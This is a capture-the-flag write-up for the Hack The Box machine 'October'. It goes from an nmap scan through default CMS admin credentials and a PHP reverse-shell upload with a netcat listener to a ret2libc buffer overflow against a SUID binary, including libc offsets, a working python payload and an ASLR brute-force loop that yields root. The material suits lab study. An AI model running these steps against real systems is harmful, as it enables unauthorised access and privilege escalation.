October

OS: Linux, Difficulty: Medium, IP: 10.10.10.16

Initial enumeration

# Nmap 7.80 scan initiated Tue Oct  1 14:44:28 2019 as: nmap -sV -sC -O -A -oN O-Detailed -p 22,80 10.10.10.16
Nmap scan report for 10.10.10.16
Host is up (0.23s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   233.02 ms 10.10.14.1
2   233.10 ms 10.10.10.16

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct  1 14:44:51 2019 -- 1 IP address (1 host up) scanned in 22.95 seconds

Enumeration of the web-server ensues.

I was not able to scan for any directories as the connection kept getting timed out, this must have been due to a firewall or something. So I let it be and went ahead with manual exploitation.

It turns out it was running October CMS which is open-source and easily available on Github.

Googling a little about the CMS I came across an interesting directory and credentials. /backend and admin:admin. So I went ahead and tried it.

Under the media section there was an option to upload files, and as per the already available file .php5 was an acceptable extension, so I went ahead and crafted my payload (shell.php5) and uploaded to get shell. The interface also provides with a direct link to the file, so convenient.

$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.16] 54046
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 i686 i686 GNU/Linux
 15:20:03 up  3:18,  0 users,  load average: 2.24, 2.85, 2.88
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

User own

$ cat /home/harry/user.txt
29161***

Root own

BUFFER OVERFLOW AHEAD! It was a good practice.

While going through the usual enumeration I came across an unusual SUID binary file.

[*] fst010 Binaries with setuid bit........................................ yes!
---
/bin/umount
/bin/ping
/bin/fusermount
/bin/su
/bin/ping6
/bin/mount
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/at
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/local/bin/ovrflw
---
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/usr/local/bin/ovrflw
---
[!] fst030 Can we write to any setuid binary?.............................. nope

This binary accepted a command line argument string and was to be overflown to get a root shell.

Step 1: Check if ASLR is turned on on the machine or not. Any non-zero number means that ASLR is enabled and binary will be loaded onto different memory addresses every-time it is loaded.

$ cat /proc/sys/kernel/randomize_va_space
2

Step 2: Get the binary to your own machine and check for other binary protections in place.

$ checksec --file ./ovrflw 
[*] '/home/jtnydv/htb-oscp/october/ovrflw'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

So we can not execute code directly off the stack as NX is enabled, so options left are ROP chains, ret2libc, and GOT overwrite.

Step 3: Reverse the binary to understand what is going on. In this case I used Ghidra, you can for sure go ahead and use your own trusted disassembler.

The program was pretty simple, the strcpy was to be exploited and in this case I chose to go ahead with ret2libc because:

  • There was no write primitive for GOT overwrite.

  • There weren't enough rop gadgets available for me to construct a complete rop chain till execution and the binary was dynamically linked.

Step 4: This is not a buffer-overflow tutorial so I'll assume few things. In this step we'll find the offset and then find addresses for system, exit, and /bin/sh in libc, the one that program is using. The offset is 112 bytes.

# Getting the libc being used.
$ ldd /usr/local/bin/ovrflw
        linux-gate.so.1 =>  (0xb777d000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c3000)
        /lib/ld-linux.so.2 (0x80024000)


# Finding memory address offset for system and exit
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"
   139: 00033260 (<- HEX OFFSET)    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
  1443: 00040310 (<- HEX OFFSET)    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

# Finding memory offset for the /bin/sh string
$ strings -at x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
 162bac /bin/sh

So now we have offsets, we'll generate the exploit payload.

exit: 0xb75c3000 + 0x33260 = 0xxb75f6260
system: 0xb75c3000 + 0x40310 = 0xb7603310
/bin/sh: = 0xb75c3000 + 0x162bac = 0xb7725bac

So as we now, we have ASLR turned on, so the base address of the libc file (0xb75c3000) will keep on changing on every load, so to circumvent this, we'll take an approach of bruteforce, as there's no limitation on how many times this binary runs as this is an independent process in the OS.

Final exploit payload

JUNK (112) + SYSTEM + EXIT + BIN_SH_STRING
python -c 'print "A"*112 + "\x10\x33\x60\xb7" + "\x60\x62\x5f\xb7" + "\xac\x5b\x72\xb7"'

As this payload is to be run continuously, we'll put this in a loop and run the binary and wait for a shell to pop.

while true; do /usr/local/bin/ovrflw $(python -c 'print "A"*112 + "\x10\x33\x60\xb7" + "\x60\x62\x5f\xb7" + "\xac\x5b\x72\xb7"'); done
Illegal instruction (core dumped)
Segmentation fault (core dumped)
ovrflw: ../iconv/skeleton.c:737: __gconv_transform_utf8_internal: Assertion `nstatus == __GCONV_FULL_OUTPUT' failed.
Aborted (core dumped)
Segmentation fault (core dumped)
Illegal instruction (core dumped)
Illegal instruction (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
--- FAR TOO MANY SEGFAULTS ---
Segmentation fault (core dumped)
Segmentation fault (core dumped)
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
cat /root/root.txt
6bcb9***

Learning outcome

Googling around about the tool you are dealing with is an essential step in understanding vectors and potential areas of compromise and buffer overflows are fun.

Last updated